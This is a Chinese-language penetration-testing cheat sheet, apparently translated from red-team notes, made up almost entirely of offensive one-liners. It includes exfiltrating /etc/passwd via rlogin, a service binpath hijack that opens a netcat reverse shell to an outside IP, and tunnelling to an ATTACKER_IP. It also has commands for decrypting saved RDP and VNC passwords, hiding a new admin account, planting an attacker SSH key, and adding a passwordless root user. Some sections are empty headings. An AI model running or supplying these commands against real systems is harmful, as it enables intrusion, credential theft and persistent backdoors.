远程登录命令数据漏出

rlogin -l "$(cat /etc/passwd)" -p port host

Bash平扫

#!/bin/bash
for lastOctet in {1..254}; do 
    ping -c 1 10.0.0.$lastOctet | grep "bytes from" | cut -d " " -f 4 | cut -d ":" -f 1 &
done

在Python中使用1字节键强制XOR'ed字符串

encrypted = "encrypted-string-here"
for i in range(0,255):
    print("".join([chr(ord(e) ^ i) for e in encrypted]))

生成坏字符串

# Python
'\\'.join([ "x{:02x}".format(i) for i in range(1,256) ])

# Bash
for i in {1..255}; do printf "\\\x%02x" $i; done; echo -e "\r"

将Python转换为Windows可执行文件(.py ->. exe )

python pyinstaller.py --onefile convert-to-exe.py

使用NetCat进行端口扫描

nc -nvv -w 1 -z host 1000-2000
nc -nv -u -z -w 1 host 160-162

使用Masscan进行端口扫描

masscan -p1-65535,U:1-65535 10.10.10.x --rate=1000 -e tun0

利用脆弱的Windows服务:薄弱的服务权限

# 在输出中查找SERVICE ALL访问
accesschk.exe /accepteula -uwcqv "Authenticated Users" *

sc config [service_name] binpath= "C:\nc.exe 10.11.0.245 443 -e C:\WINDOWS\System32\cmd.exe" obj= "LocalSystem" password= ""
sc qc [service_name] (to verify!)

端口转发/ SSH隧道

SSL:本地端口转发

# 监听本地端口8080，并通过SSH_SERVER将传入流量转发到REMOT_HOST: port
# 通过SSH_SERVER访问被防火墙阻止的主机;
ssh -L 127.0.0.1:8080:REMOTE_HOST:PORT user@SSH_SERVER

SSH:端口动态转发

# 监听本地端口8080。进入127.0.0.1:8080的流量通过SSH_SERVER将其转发到最终目的地
# 场景:通过SSH隧道代理您的web流量，或通过受损的DMZ框访问内部网络上的主机;
ssh -D 127.0.0.1:8080 user@SSH_SERVER

SSH:远程端口转发

# 场景:通过SSH隧道代理您的web流量，或通过受损的DMZ框访问内部网络上的主机;
# 在非路由网络上暴露RDP;
ssh -R 5555:LOCAL_HOST:3389 user@SSH_SERVER
plink -R ATTACKER:ATTACKER_PORT:127.0.01:80 -l root -pw pw ATTACKER_IP

代理隧道

# 打开本地端口127.0.0.1:5555。进入5555的流量通过PROXY_HOST:3128代理到DESTINATION_HOST
# 场景:远程主机运行SSH，但是它只绑定到127.0.0.1，但是您想要到达它;
proxytunnel -p PROXY_HOST:3128 -d DESTINATION_HOST:22 -a 5555
ssh [email protected] -p 5555

HTTP隧道:SSH Over HTTP

# 服务器-打开端口80。将所有传入流量重定向到localhost:80到localhost:22
hts -F localhost:22 80

# 客户端-打开端口8080。重定向所有传入流量到localhost:8080到192.168.1.15:80
htc -F 8080 192.168.1.15:80

# 客户端-连接到本地主机:8080 ->得到隧道到192.168.1.15:80 ->得到重定向到192.168.1.15:22
ssh localhost -p 8080

Netsh—Windows端口转发

# requires admin

递归地查找隐藏文件: Windows

文件搜索

# 查询本地db以快速查找文件。在执行locate之前执行updatedb。
locate passwd 

# 显示哪个文件将在当前环境中执行，这取决于$PATH环境变量;

# 以/etc开头递归搜索*.conf文件(不区分大小写);

解密RDG密码

远程桌面连接管理器的密码可以在加密的同一计算机/帐户上解密:

Copy-Item 'C:\Program Files (x86)\Microsoft\Remote Desktop Connection Manager\RDCMan.exe C:\temp\RDCMan.dll’
Import-Module C:\temp\RDCMan.dll
$EncryptionSettings = New-Object -TypeName RdcMan.EncryptionSettings
[RdcMan.Encryption]::DecryptString($PwdString, $EncryptionSettings)

解密VNC密码

wine vncpwdump.exe -k key

创建用户并添加本地管理员

net user spotless spotless /add & net localgroup Administrators spotless /add

隐藏新创建的本地管理员

reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\UserList" /t REG_DWORD /v spotless /d 0 /f

创建SSH授权密钥

mkdir /root/.ssh 2>/dev/null; echo 'ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQChKCUsFVWj1Nz8SiM01Zw/BOWcMNs2Zwz3MdT7leLU9/Un4mZ7vjco0ctsyh2swjphWr5WZG28BN90+tkyj3su23UzrlgEu3SaOjVgxhkx/Pnbvuua9Qs9gWbWyRxexaC1eDb0pKXHH2Msx+GlyjfDOngq8tR6tkU8u1S4lXKLejaptiz0q6P0CcR6hD42IYkqyuWTNrFdSGLtiPCBDZMZ/5g1cJsyR59n54IpV0b2muE3F7+NPQmLx57IxoPjYPNUbC6RPh/Saf7o/552iOcmVCdLQDR/9I+jdZIgrOpstqSiJooU9+JImlUtAkFxZ9SHvtRbFt47iH7Sh7LiefP5 root@kali' >> /root/.ssh/authorized_keys

创建没有密码的后门用户

echo 'spotless::0:0:root:/root:/bin/bash' >> /etc/passwd

# 很少需要，但是如果您需要通过使用useradd和passwd向先前创建的用户添加密码，则不工作。Pwd是“kali
sed 's/!/\$6$o1\.HFMVM$a3hY6OPT\/DiQYy4koI6Z3\/sLiltsOcFoS5yCKhBBqQLH5K1QlHKL8\/6wJI6uF\/Q7mniOdq92v6yjzlVlXlxkT\./' /etc/shadow > /etc/s2; cat /etc/s2 > /etc/shadow; rm /etc/s2

创建另一个root用户

useradd -u0 -g0 -o -s /bin/bash -p `openssl passwd yourpass` rootuser

生成OpenSSL密码

openssl passwd -1 password 
# output $1$YKbEkrkZ$7Iy/M3exliD/yJfJVeTn5.
